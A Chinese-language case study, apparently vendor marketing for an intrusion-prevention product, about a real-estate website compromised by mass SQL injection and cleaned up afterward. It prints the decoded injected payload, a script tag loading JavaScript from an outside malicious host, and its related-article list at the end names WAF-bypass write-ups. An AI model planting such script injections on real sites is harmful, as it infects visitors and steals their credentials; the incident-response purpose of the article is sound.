网站SQL注入防御实战
SQL注入作为直接威胁web业务的最严重攻击行为,已经被大多数的网站管理员所了解,这种通过HTTP标准端口,利用网页编码不严谨,提交精心构造的代码实现对数据库非授权访问的攻击方法,已经被越来越多的scriptguy(脚本小子)成功掌握并广泛实践。没错,他们可能并不知道SQL注入的原理,不知道ASP,不知道PHP,但他们有工具,全自动的,完善的,高效率的工具,这些工具使得任何一个有简单网络知识的中学学生可以很容易的拿到某个政府网站的最高管理员权限,而且做这些事情并不会比你在周六的中午下楼去买一听可乐要更困难。
而随着互联网黑色产业链的浮出水面,骇客们发现攻击网站不仅仅可以用作向朋友炫耀的资本,还可以作为购买游戏点卡或者是数码相机的资金来源:在被攻击的网站嵌入脚本木马,可以轻易盗窃那些访问了受攻击网站,但个人PC安全防护措施不全面用户的私密信息,比如游戏账号密码,或者是银行账号密码。
经常使用google的用户一定对这段话不陌生“该网站可能含有恶意软件,有可能会危害您的电脑”,这意味着这个网站也许已经遭遇挂马黑手,成为骇客们的众多取款点之一。本文就一例真实案例,来介绍一下网站的安全防护。
某市房地产网站的管理员小李刚上班就被叫到领导办公室去了,因为网站带上了google小尾巴:“该网站可能含有恶意软件,有可能会危害您的电脑”,购房者看到这一提示信息,纷纷给该市房产管理局打电话,于是就有了上面的一幕。回到座位上的小李一筹莫展:网站服务器已经全盘杀毒好几次了,没有发现病毒存在的痕迹,看来只能找专业安全厂商解决了。小李选择的是网络安全公司启明星辰,在向启明星辰公司提交web日志的第二天,小李就收到了回信,从日志的分析结果中,可以清楚的看到骇客的攻击走向:这是一次非常典型的SQL注入攻击,首先使用dEcLaRe建立游标,遍历数据库中所有允许写入字符串的相关字段,并通过执行exec操作,使用update语句替换了网站页面的正常文件,插入了如下一段十六进制字符:
经过解密,可以得到如下字符串
"> < /title> < script src= http://s.see9.us/s.js> < /script> < !—
这里面的http://s.see9.us/s.js就是导致网站带有小尾巴的罪魁祸首。
经过一天的奋力工作,网页中所有的小尾巴都清理干净了,在启明星辰安全工程师的建议下,小李还向StopBadware.org 申请了重新的索引,并向google提交了审核申请。做完了这些之后,小李又一次陷入了困扰:如何防范网站再次遭受SQL注入攻击呢?网络上提供了一些代码修改级的防御方法,可是需要对每一个页面都做仔细的检查,看着自己所负责网站的10000余个页面,小李只能是苦笑,联想起2007年夏天那次微软英国网站被SQL注入的案例,小李在内心否认了彻底检查一遍页面代码的做法。关键时刻,又是启明星辰的安全工程师提出了建议:部署天清入侵防御产品,利用天清IPS的基于注入攻击手法的检测原理,可以对各种SQL注入攻击的变种进行防御。和传统的SQL注入防御方法不一样的是,天清入侵防御产品可以独立部署,不需要对被保护的web系统做任何修改,而且和那些基于特征的检测方法不一样的是,天清IPS采用的VSID算法关注的是攻击手法而非攻击代码,其检测准确率有很大改善。
在部署了入侵防御产品的当天晚上,小李就在入侵防御产品的控制中心看到了发现了SQL注入攻击并被阻断的报警信息,而网站安然无恙。
友情提示:对于防御SQL注入攻击,检查网页代码是必要的,骇客获得网站权限,并不仅仅为了炫耀,可能还会有更肮脏的目的;其次,你需要做的事是挽回名誉损失,毕竟挂上google小尾巴不是件光荣的事;最后,你绝对不能忘记的事还有修补漏洞,在没有“打扫”干净你的系统前,骇客进出你的网络将会像喝下午茶一样简单,你可以选择修改源代码来过滤关键字(记住不要矫枉过正,笔者就见过不允许用户名叫select/and等SQL关键字的网站),或者是你也可以选择使用专业的IPS产品。
网站SQL注入防御实战的更多相关文章
- 电子商务网站SQL注入项目实战一例(转载)
故事A段:发现整站SQL对外输出: 有个朋友的网站,由于是外包项目,深圳某公司开发的,某天我帮他检测了一下网站相关情况. 我查看了页面源代码,发现了个惊人的事情,竟然整站打印SQL到Html里,着实吓 ...
- Bypass 护卫神SQL注入防御(多姿势)
0x00 前言 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...
- Bypass 360主机卫士SQL注入防御(多姿势)
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- 21. Bypass D盾_防火墙(旧版 and 新版)SQL注入防御(多姿势)
D盾旧版: 00前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防 ...
- 15. Bypass 360主机卫士SQL注入防御(多姿势)
在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影. 从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的 ...
- Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...
- Bypass X-WAF SQL注入防御(多姿势)
0x00 前言 X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. ...
- Bypass D盾_IIS防火墙SQL注入防御(多姿势)
0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...
- 23. Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...
随机推荐
- term&match得区别 text&keyword区别
Text 概念 Text 数据类型被用来索引长文本,比如说电子邮件的主体部分或者一款产品的介绍.这些文本会被分析,在建立索引前会将这些文本进行分词,转化为词的组合,建立索引.允许 ES来检索这些词语. ...
- 基于人工智能标记语言 (AIML)和任务型对话系统(Task)的深度智能对话机器人demo
起因 本demo基于基于人工智能标记语言 (AIML)和开放域问答(WebQA)的深度智能对话模型而来 无意间发现一个基于人工智能标记语言 (AIML)和开放域问答(WebQA)的深度智能对话模型,但 ...
- linux_5
1 简述osi七层模型和TCP/IP五层模型 2 总结描述TCP三次握手四次挥手 TCP是一种可靠的,面向连接的全双工传输层协议. TCP连接的建立是一个三次握手的过程.如图所示: 第一次握手:主机A ...
- 3、架构--cp、scp、rsync、实时监控与同步
笔记 1.晨考 1.VPN的搭建步骤 2.vpn中的iptables是什么作用? 网络转发 2.昨日问题 1.yum源问题 2.VPN链接正常,但是没办法通过172 3.VPN链接时,出现了DNS错误 ...
- c++ struct enum union加typedef与不加typedef
struct/enum/union加typedef与不加typedef 匿名结构体 struct { int a; int b; } v; // 这里表示定义了一个结构体的变量v,且结构体类型没有名字 ...
- DubboSPI机制二之Dubbo中SPI初体验
Dubbo高级之一SPI机制之JDK中的SPI - 池塘里洗澡的鸭子 - 博客园 (cnblogs.com)中阐述了JDK标准的SPI,并对其应用做了相应的实践.在实际应用中,很多框架都会对其进行扩展 ...
- SpringMVC的web配置
之前并没有意愿写关于下面内容的小作文.因为总结SPI相关的标准(SPI机制之JDK中的SPI - 池塘里洗澡的鸭子 - 博客园 (cnblogs.com)),而这个也是关于标准的,Servlet3.0 ...
- 树莓派GPIO开发(二)RGB模块-PWM调节
配置环境 系统:Raspbian11(官方64位) 设备:树莓派CM4 一.PWM简单介绍 全称:Pulse-width modulation,脉冲宽度调制,简单的数模转换方法 1.基本原理 脉冲宽度 ...
- for循环,stream,parallelStream的性能区别
for循环 for循环的性能随着数据量的增加性能也越来越差. 普通的循环不涉及较大的数据量,使用for循环更好. stream(串行流) stream在数据量小的情况下性能差,在数据量中.大的时候性能 ...
- elk监听Java日志发送微信报警
一年前写过logstash根据日志关键词报警 ,今年重温一下.并且记录一下遇到的问题解决办法. Java错误日志一般出现一大坨,如下图: 所以我们的filebeat日志收集器就要改成多行匹配模式,以日 ...